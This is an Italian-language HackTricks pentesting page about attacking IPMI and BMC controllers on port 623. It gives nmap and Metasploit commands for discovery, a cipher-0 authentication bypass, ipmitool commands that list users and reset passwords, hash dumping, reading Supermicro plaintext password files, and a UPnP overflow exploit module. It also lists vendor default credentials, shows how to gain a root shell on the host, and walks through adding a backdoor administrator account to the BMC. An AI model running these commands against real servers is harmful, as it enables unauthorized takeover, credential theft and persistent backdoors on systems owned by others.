623/UDP/TCP - IPMI
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di Base
Panoramica di IPMI
Interfaccia di Gestione della Piattaforma Intelligente (IPMI) offre un approccio standardizzato per la gestione e il monitoraggio remoto dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi da remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per:
- Configurazioni pre-avvio OS
- Gestione dello spegnimento
- Recupero da guasti di sistema
IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni di inventario, rivedere i registri hardware e inviare avvisi tramite SNMP. Essenziale per il suo funzionamento sono una fonte di alimentazione e una connessione LAN.
Dalla sua introduzione da parte di Intel nel 1998, IPMI è stato supportato da numerosi fornitori, migliorando le capacità di gestione remota, specialmente con il supporto della versione 2.0 per la seriale su LAN. I componenti chiave includono:
- Controller di Gestione della Scheda Madre (BMC): Il microcontrollore principale per le operazioni IPMI.
- Bus e Interfacce di Comunicazione: Per comunicazioni interne ed esterne, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete.
- Memoria IPMI: Per memorizzare registri e dati.

Porta Predefinita: 623/UDP/TCP (Di solito è su UDP ma potrebbe anche essere in esecuzione su TCP)
Enumerazione
Scoperta
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Puoi identificare la versione utilizzando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
VulnerabilitĂ IPMI
Nel campo di IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, esponendo una vulnerabilitĂ attraverso cipher type 0. Questa vulnerabilitĂ , documentata in dettaglio in la ricerca di Dan Farmer, consente lâaccesso non autorizzato con qualsiasi password fornita che miri a un utente valido. Questa debolezza è stata riscontrata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
Bypass dellâautenticazione IPMI tramite Cipher 0
Per rilevare questa falla, può essere impiegato il seguente scanner ausiliario di Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Lo sfruttamento di questa vulnerabilità è realizzabile con ipmitool, come dimostrato di seguito, consentendo lâelenco e la modifica delle password degli utenti:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
Recupero dellâHash della Password Remota di Autenticazione RAKP IPMI 2.0
Questa vulnerabilitĂ consente il recupero delle password hash salate (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilitĂ , Metasploit offre un modulo:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Autenticazione Anonima IPMI
Una configurazione predefinita in molti BMC consente lâaccesso âanonimoâ, caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente nominati utilizzando ipmitool:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Password in chiaro
Una scelta di design critica in IPMI 2.0 richiede la memorizzazione di password in chiaro allâinterno dei BMC per scopi di autenticazione. La memorizzazione di queste password da parte di Supermicro in posizioni come /nv/PSBlock o /nv/PSStore solleva significative preoccupazioni di sicurezza:
cat /nv/PSBlock
VulnerabilitĂ UPnP IPMI di Supermicro
Lâinclusione da parte di Supermicro di un listener SSDP UPnP nel suo firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilitĂ nel Intel SDK per dispositivi UPnP versione 1.3.1, come dettagliato nella divulgazione di Rapid7, consentono lâaccesso root al BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP randomizza la password predefinita per il suo prodotto Integrated Lights Out (iLO) durante la produzione. Questa pratica contrasta con altri produttori, che tendono a utilizzare credenziali predefinite statiche. Un riepilogo dei nomi utente e delle password predefiniti per vari prodotti è fornito come segue:
- HP Integrated Lights Out (iLO) utilizza una stringa casuale di 8 caratteri come password predefinita, mostrando un livello di sicurezza piĂš elevato.
- Prodotti come Dellâs iDRAC, IBMâs IMM e Fujitsuâs Integrated Remote Management Controller utilizzano password facilmente indovinabili come âcalvinâ, âPASSW0RDâ (con uno zero) e âadminâ rispettivamente.
- Allo stesso modo, Supermicro IPMI (2.0), Oracle/Sun ILOM e ASUS iKVM BMC utilizzano anche credenziali predefinite semplici, con âADMINâ, âchangemeâ e âadminâ che fungono da password.
Accessing the Host via BMC
Lâaccesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dellâhost. Un approccio semplice prevede di sfruttare la funzionalitĂ Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando lâhost in una shell root tramite GRUB (utilizzando init=/bin/sh) o avviando da un CD-ROM virtuale impostato come disco di recupero. Tali metodi consentono la manipolazione diretta del disco dellâhost, inclusa lâinserzione di backdoor, lâestrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dellâhost, che è uno svantaggio significativo. Senza riavviare, accedere allâhost in esecuzione è piĂš complesso e varia in base alla configurazione dellâhost. Se la console fisica o seriale dellâhost rimane connessa, può essere facilmente presa in carico tramite le funzionalitĂ KVM o serial-over-LAN (sol) del BMC tramite ipmitool. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è unâarea che richiede ulteriori indagini.
Introducing Backdoors into BMC from the Host
Una volta compromesso un host dotato di BMC, lâinterfaccia BMC locale può essere sfruttata per inserire un account utente backdoor, creando una presenza duratura sul server. Questo attacco richiede la presenza di ipmitool sullâhost compromesso e lâattivazione del supporto per il driver BMC. I seguenti comandi illustrano come un nuovo account utente può essere iniettato nel BMC utilizzando lâinterfaccia locale dellâhost, bypassando la necessitĂ di autenticazione. Questa tecnica è applicabile a unâampia gamma di sistemi operativi, tra cui Linux, Windows, BSD e persino DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

